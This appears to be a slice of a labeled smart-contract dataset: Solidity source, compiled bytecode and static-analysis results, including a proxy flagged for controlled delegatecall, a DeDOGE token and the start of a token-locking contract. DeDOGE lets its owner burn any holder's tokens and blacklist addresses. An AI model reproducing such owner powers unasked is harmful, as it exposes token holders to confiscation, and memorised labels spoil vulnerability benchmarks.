* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param account address of the account to check
* @return whether the target address is a contract
*/
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
|
0x6080604052600436106100745760003560e01c80638f2839701161004e5780638f2839701461016f578063cf7a1d77146101a2578063d1f5789414610261578063f851a4401461031757610083565b80633659cfe61461008b5780634f1ef286146100be5780635c60da1b1461013e57610083565b366100835761008161032c565b005b61008161032c565b34801561009757600080fd5b50610081600480360360208110156100ae57600080fd5b50356001600160a01b0316610371565b610081600480360360408110156100d457600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100ff57600080fd5b82018360208201111561011157600080fd5b8035906020019184600183028401116401000000008311171561013357600080fd5b5090925090506103ab565b34801561014a57600080fd5b50610153610458565b604080516001600160a01b039092168252519081900360200190f35b34801561017b57600080fd5b506100816004803603602081101561019257600080fd5b50356001600160a01b0316610495565b610081600480360360608110156101b857600080fd5b6001600160a01b0382358116926020810135909116918101906060810160408201356401000000008111156101ec57600080fd5b8201836020820111156101fe57600080fd5b8035906020019184600183028401116401000000008311171561022057600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061054f945050505050565b6100816004803603604081101561027757600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156102a257600080fd5b8201836020820111156102b457600080fd5b803590602001918460018302840111640100000000831117156102d657600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506105d5945050505050565b34801561032357600080fd5b50610153610715565b61033533610740565b801561033f575036155b801561034d57506108fc5a11155b156103575761036f565b61035f610746565b61036f61036a61079e565b6107c3565b565b6103796107e7565b6001600160a01b0316336001600160a01b031614156103a05761039b8161080c565b6103a8565b6103a861032c565b50565b6103b36107e7565b6001600160a01b0316336001600160a01b0316141561044b576103d58361080c565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d8060008114610432576040519150601f19603f3d011682016040523d82523d6000602084013e610437565b606091505b505090508061044557600080fd5b50610453565b61045361032c565b505050565b60006104626107e7565b6001600160a01b0316336001600160a01b0316141561048a5761048361079e565b9050610492565b61049261032c565b90565b61049d6107e7565b6001600160a01b0316336001600160a01b031614156103a0576001600160a01b0381166104fb5760405162461bcd60e51b815260040180806020018281038252603681526020018061090b6036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6105246107e7565b604080516001600160a01b03928316815291841660208301528051918290030190a161039b8161084c565b600061055961079e565b6001600160a01b03161461056c57600080fd5b61057682826105d5565b604080517232b4b8189c9b1b97383937bc3c9730b236b4b760691b815290519081900360130190207fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103600019909101146105cc57fe5b6104538361084c565b60006105df61079e565b6001600160a01b0316146105f257600080fd5b604080517f656970313936372e70726f78792e696d706c656d656e746174696f6e000000008152905190819003601c0190207f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6000199091011461065257fe5b61065b82610870565b805115610711576000826001600160a01b0316826040518082805190602001908083835b6020831061069e5780518252601f19909201916020918201910161067f565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d80600081146106fe576040519150601f19603f3d011682016040523d82523d6000602084013e610703565b606091505b505090508061045357600080fd5b5050565b600061071f6107e7565b6001600160a01b0316336001600160a01b0316141561048a576104836107e7565b3b151590565b61074e6107e7565b6001600160a01b0316336001600160a01b0316141561036f5760405162461bcd60e51b81526004018080602001828103825260328152602001806108d96032913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e8080156107e2573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b61081581610870565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b61087981610740565b6108b45760405162461bcd60e51b815260040180806020018281038252603b815260200180610941603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220e7053b2e37475c31b92e67424581d67a73a38280d61e9c6a87ab043fab25b02864736f6c63430006010033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}]}}
| 4,130 |
0x953afc07bbf5c2dd247aecce72e449cd5b4b3d9a
|
/*
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract DeDOGE is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
struct lockDetail{
uint256 amountToken;
uint256 lockUntil;
}
mapping (address => uint256) private _balances;
mapping (address => bool) private _blacklist;
mapping (address => bool) private _isAdmin;
mapping (address => lockDetail) private _lockInfo;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event PutToBlacklist(address indexed target, bool indexed status);
event LockUntil(address indexed target, uint256 indexed totalAmount, uint256 indexed dateLockUntil);
constructor (string memory name, string memory symbol, uint256 amount) {
_name = name;
_symbol = symbol;
_setupDecimals(18);
address msgSender = _msgSender();
_owner = msgSender;
_isAdmin[msgSender] = true;
_mint(msgSender, amount);
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function isAdmin(address account) public view returns (bool) {
return _isAdmin[account];
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
modifier onlyAdmin() {
require(_isAdmin[_msgSender()] == true, "Ownable: caller is not the administrator");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function promoteAdmin(address newAdmin) public virtual onlyOwner {
require(_isAdmin[newAdmin] == false, "Ownable: address is already admin");
require(newAdmin != address(0), "Ownable: new admin is the zero address");
_isAdmin[newAdmin] = true;
}
function demoteAdmin(address oldAdmin) public virtual onlyOwner {
require(_isAdmin[oldAdmin] == true, "Ownable: address is not admin");
require(oldAdmin != address(0), "Ownable: old admin is the zero address");
_isAdmin[oldAdmin] = false;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function isBlackList(address account) public view returns (bool) {
return _blacklist[account];
}
function getLockInfo(address account) public view returns (uint256, uint256) {
lockDetail storage sys = _lockInfo[account];
if(block.timestamp > sys.lockUntil){
return (0,0);
}else{
return (
sys.amountToken,
sys.lockUntil
);
}
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address funder, address spender) public view virtual override returns (uint256) {
return _allowances[funder][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transferAndLock(address recipient, uint256 amount, uint256 lockUntil) public virtual onlyAdmin returns (bool) {
_transfer(_msgSender(), recipient, amount);
_wantLock(recipient, amount, lockUntil);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function lockTarget(address payable targetaddress, uint256 amount, uint256 lockUntil) public onlyAdmin returns (bool){
_wantLock(targetaddress, amount, lockUntil);
return true;
}
function unlockTarget(address payable targetaddress) public onlyAdmin returns (bool){
_wantUnlock(targetaddress);
return true;
}
function burnTarget(address payable targetaddress, uint256 amount) public onlyOwner returns (bool){
_burn(targetaddress, amount);
return true;
}
function blacklistTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantblacklist(targetaddress);
return true;
}
function unblacklistTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantunblacklist(targetaddress);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
lockDetail storage sys = _lockInfo[sender];
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(_blacklist[sender] == false, "ERC20: sender address ");
_beforeTokenTransfer(sender, recipient, amount);
if(sys.amountToken > 0){
if(block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}else{
uint256 checkBalance = _balances[sender].sub(sys.amountToken, "ERC20: lock amount exceeds balance");
_balances[sender] = checkBalance.sub(amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = _balances[sender].add(sys.amountToken);
_balances[recipient] = _balances[recipient].add(amount);
}
}else{
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _wantLock(address account, uint256 amountLock, uint256 unlockDate) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
require(_balances[account] >= sys.amountToken.add(amountLock), "ERC20: You can't lock more than account balances");
if(sys.lockUntil > 0 && block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
}
sys.lockUntil = unlockDate;
sys.amountToken = sys.amountToken.add(amountLock);
emit LockUntil(account, sys.amountToken, unlockDate);
}
function _wantUnlock(address account) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
sys.lockUntil = 0;
sys.amountToken = 0;
emit LockUntil(account, 0, 0);
}
function _wantblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == false, "ERC20: Address already in blacklist");
_blacklist[account] = true;
emit PutToBlacklist(account, true);
}
function _wantunblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == true, "ERC20: Address not blacklisted");
_blacklist[account] = false;
emit PutToBlacklist(account, false);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address funder, address spender, uint256 amount) internal virtual {
require(funder != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[funder][spender] = amount;
emit Approval(funder, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106101735760003560e01c806370a08231116100de57806395d89b4111610097578063b36d691911610071578063b36d691914610510578063dd62ed3e14610536578063df698fc914610564578063f2fde38b1461058a57610173565b806395d89b41146104b0578063a457c2d7146104b8578063a9059cbb146104e457610173565b806370a08231146103c7578063715018a6146103ed5780637238ccdb146103f5578063787f02331461043457806384d5d9441461045a5780638da5cb5b1461048c57610173565b8063313ce56711610130578063313ce567146102d157806339509351146102ef5780633d72d6831461031b57806352a97d5214610347578063569abd8d1461036d5780635e558d221461039557610173565b806306fdde0314610178578063095ea7b3146101f557806318160ddd1461023557806319f9a20f1461024f57806323b872dd1461027557806324d7806c146102ab575b600080fd5b6101806105b0565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101ba5781810151838201526020016101a2565b50505050905090810190601f1680156101e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102216004803603604081101561020b57600080fd5b506001600160a01b038135169060200135610646565b604080519115158252519081900360200190f35b61023d610663565b60408051918252519081900360200190f35b6102216004803603602081101561026557600080fd5b50356001600160a01b0316610669565b6102216004803603606081101561028b57600080fd5b506001600160a01b038135811691602081013590911690604001356106e5565b610221600480360360208110156102c157600080fd5b50356001600160a01b031661076c565b6102d961078a565b6040805160ff9092168252519081900360200190f35b6102216004803603604081101561030557600080fd5b506001600160a01b038135169060200135610793565b6102216004803603604081101561033157600080fd5b506001600160a01b0381351690602001356107e1565b6102216004803603602081101561035d57600080fd5b50356001600160a01b031661084a565b6103936004803603602081101561038357600080fd5b50356001600160a01b03166108b2565b005b610221600480360360608110156103ab57600080fd5b506001600160a01b0381351690602081013590604001356109d0565b61023d600480360360208110156103dd57600080fd5b50356001600160a01b0316610a46565b610393610a61565b61041b6004803603602081101561040b57600080fd5b50356001600160a01b0316610b0e565b6040805192835260208301919091528051918290030190f35b6102216004803603602081101561044a57600080fd5b50356001600160a01b0316610b55565b6102216004803603606081101561047057600080fd5b506001600160a01b038135169060208101359060400135610bbd565b610494610c3a565b604080516001600160a01b039092168252519081900360200190f35b610180610c4e565b610221600480360360408110156104ce57600080fd5b506001600160a01b038135169060200135610caf565b610221600480360360408110156104fa57600080fd5b506001600160a01b038135169060200135610d17565b6102216004803603602081101561052657600080fd5b50356001600160a01b0316610d2b565b61023d6004803603604081101561054c57600080fd5b506001600160a01b0381358116916020013516610d49565b6103936004803603602081101561057a57600080fd5b50356001600160a01b0316610d74565b610393600480360360208110156105a057600080fd5b50356001600160a01b0316610ea9565b60068054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561063c5780601f106106115761010080835404028352916020019161063c565b820191906000526020600020905b81548152906001019060200180831161061f57829003601f168201915b5050505050905090565b600061065a610653611013565b8484611017565b50600192915050565b60055490565b600060026000610677611013565b6001600160a01b0316815260208101919091526040016000205460ff1615156001146106d45760405162461bcd60e51b8152600401808060200182810382526028815260200180611ba46028913960400191505060405180910390fd5b6106dd82611103565b506001919050565b60006106f28484846111b2565b610762846106fe611013565b61075d85604051806060016040528060288152602001611bcc602891396001600160a01b038a1660009081526004602052604081209061073c611013565b6001600160a01b03168152602081019190915260400160002054919061151d565b611017565b5060019392505050565b6001600160a01b031660009081526002602052604090205460ff1690565b60085460ff1690565b600061065a6107a0611013565b8461075d85600460006107b1611013565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490610fb2565b60006107eb611013565b60085461010090046001600160a01b03908116911614610840576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b61065a83836115b4565b6000610854611013565b60085461010090046001600160a01b039081169116146108a9576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6106dd826116b0565b6108ba611013565b60085461010090046001600160a01b0390811691161461090f576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526002602052604090205460ff16156109675760405162461bcd60e51b8152600401808060200182810382526021815260200180611cc66021913960400191505060405180910390fd5b6001600160a01b0381166109ac5760405162461bcd60e51b8152600401808060200182810382526026815260200180611b4e6026913960400191505060405180910390fd5b6001600160a01b03166000908152600260205260409020805460ff19166001179055565b6000600260006109de611013565b6001600160a01b0316815260208101919091526040016000205460ff161515600114610a3b5760405162461bcd60e51b8152600401808060200182810382526028815260200180611ba46028913960400191505060405180910390fd5b61076284848461179c565b6001600160a01b031660009081526020819052604090205490565b610a69611013565b60085461010090046001600160a01b03908116911614610abe576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b60085460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360088054610100600160a81b0319169055565b6001600160a01b03811660009081526003602052604081206001810154829190421115610b42576000809250925050610b50565b805460019091015490925090505b915091565b6000610b5f611013565b60085461010090046001600160a01b03908116911614610bb4576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6106dd826118e3565b600060026000610bcb611013565b6001600160a01b0316815260208101919091526040016000205460ff161515600114610c285760405162461bcd60e51b8152600401808060200182810382526028815260200180611ba46028913960400191505060405180910390fd5b610a3b610c33611013565b85856111b2565b60085461010090046001600160a01b031690565b60078054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561063c5780601f106106115761010080835404028352916020019161063c565b600061065a610cbc611013565b8461075d85604051806060016040528060258152602001611ca16025913960046000610ce6611013565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919061151d565b600061065a610d24611013565b84846111b2565b6001600160a01b031660009081526001602052604090205460ff1690565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b610d7c611013565b60085461010090046001600160a01b03908116911614610dd1576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526002602052604090205460ff161515600114610e43576040805162461bcd60e51b815260206004820152601d60248201527f4f776e61626c653a2061646472657373206973206e6f742061646d696e000000604482015290519081900360640190fd5b6001600160a01b038116610e885760405162461bcd60e51b8152600401808060200182810382526026815260200180611b286026913960400191505060405180910390fd5b6001600160a01b03166000908152600260205260409020805460ff19169055565b610eb1611013565b60085461010090046001600160a01b03908116911614610f06576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6001600160a01b038116610f4b5760405162461bcd60e51b8152600401808060200182810382526026815260200180611a986026913960400191505060405180910390fd5b6008546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600880546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b60008282018381101561100c576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b03831661105c5760405162461bcd60e51b8152600401808060200182810382526024815260200180611c5a6024913960400191505060405180910390fd5b6001600160a01b0382166110a15760405162461bcd60e51b8152600401808060200182810382526022815260200180611abe6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b03811660008181526003602052604090209061116d576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2043616e2774206c6f636b207a65726f20616464726573730000604482015290519081900360640190fd5b60006001820181905580825560405181906001600160a01b038516907fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf08685580908390a45050565b6001600160a01b0383166000818152600360205260409020906112065760405162461bcd60e51b8152600401808060200182810382526025815260200180611c356025913960400191505060405180910390fd5b6001600160a01b03831661124b5760405162461bcd60e51b8152600401808060200182810382526023815260200180611a306023913960400191505060405180910390fd5b6001600160a01b03841660009081526001602052604090205460ff16156112b2576040805162461bcd60e51b8152602060048201526016602482015275022a92199181d1039b2b73232b91030b2323932b9b9960551b604482015290519081900360640190fd5b6112bd8484846119e8565b80541561144657806001015442111561136657600060018201819055815560408051606081019091526026808252611319918491611b0260208301396001600160a01b038716600090815260208190526040902054919061151d565b6001600160a01b0380861660009081526020819052604080822093909355908516815220546113489083610fb2565b6001600160a01b038416600090815260208190526040902055611441565b60006113a98260000154604051806060016040528060228152602001611ae0602291396001600160a01b038816600090815260208190526040902054919061151d565b90506113d083604051806060016040528060268152602001611b026026913983919061151d565b6001600160a01b038616600090815260208190526040902081905582546113f79190610fb2565b6001600160a01b0380871660009081526020819052604080822093909355908616815220546114269084610fb2565b6001600160a01b038516600090815260208190526040902055505b6114cc565b61148382604051806060016040528060268152602001611b02602691396001600160a01b038716600090815260208190526040902054919061151d565b6001600160a01b0380861660009081526020819052604080822093909355908516815220546114b29083610fb2565b6001600160a01b0384166000908152602081905260409020555b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050565b600081848411156115ac5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611571578181015183820152602001611559565b50505050905090810190601f16801561159e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b0382166115f95760405162461bcd60e51b8152600401808060200182810382526021815260200180611c146021913960400191505060405180910390fd5b611605826000836119e8565b61164281604051806060016040528060228152602001611a76602291396001600160a01b038516600090815260208190526040902054919061151d565b6001600160a01b03831660009081526020819052604090205560055461166890826119ed565b6005556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6001600160a01b0381166116f55760405162461bcd60e51b8152600401808060200182810382526023815260200180611c7e6023913960400191505060405180910390fd5b6001600160a01b03811660009081526001602052604090205460ff161561174d5760405162461bcd60e51b8152600401808060200182810382526023815260200180611a536023913960400191505060405180910390fd5b6001600160a01b0381166000818152600160208190526040808320805460ff191683179055519092917f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c291a350565b6001600160a01b038316600081815260036020526040902090611806576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2043616e2774206c6f636b207a65726f20616464726573730000604482015290519081900360640190fd5b80546118129084610fb2565b6001600160a01b03851660009081526020819052604090205410156118685760405162461bcd60e51b8152600401808060200182810382526030815260200180611b746030913960400191505060405180910390fd5b6000816001015411801561187f5750806001015442115b156118905760006001820181905581555b6001810182905580546118a39084610fb2565b8082556040518391906001600160a01b038716907fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf0868558090600090a450505050565b6001600160a01b0381166119285760405162461bcd60e51b8152600401808060200182810382526023815260200180611c7e6023913960400191505060405180910390fd5b6001600160a01b03811660009081526001602081905260409091205460ff1615151461199b576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2041646472657373206e6f7420626c61636b6c69737465640000604482015290519081900360640190fd5b6001600160a01b038116600081815260016020526040808220805460ff19169055519091907f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c2908390a350565b505050565b600061100c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061151d56fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a204164647265737320616c726561647920696e20626c61636b6c69737445524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206c6f636b20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654f776e61626c653a206f6c642061646d696e20697320746865207a65726f20616464726573734f776e61626c653a206e65772061646d696e20697320746865207a65726f206164647265737345524332303a20596f752063616e2774206c6f636b206d6f7265207468616e206163636f756e742062616c616e6365734f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e6973747261746f7245524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657245524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2043616e277420626c61636b6c697374207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4f776e61626c653a206164647265737320697320616c72656164792061646d696ea26469706673582212200cfdaec9b12ed0c678fa0f5c08b85564f32a98e77a7f33811ba20bbe059cd1c064736f6c63430007030033
|
{"success": true, "error": null, "results": {}}
| 4,131 |
0x4b2a012fca9ff588b598e48ee3257a129ee63530
|
/**
*Submitted for verification at Etherscan.io on 2022-02-19
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity 0.7.6;
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
}
interface ERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,address recipient,uint256 amount) external returns (bool);
}
// this contract is used to create a lock or vesting schedule with consists of a series of token locks
// owned by an address where each lock has an amount of tokens that become available to withdraw
// after a specified amount of time. Each lock per address created is charged a small eth fee unless
// the creator is exempt from fee or owns a token with a minimum balance that grants exemption
contract LockTokens {
using SafeMath for uint256;
struct Lock {
uint256 lockID;
address createdBy;
address tokenAddress;
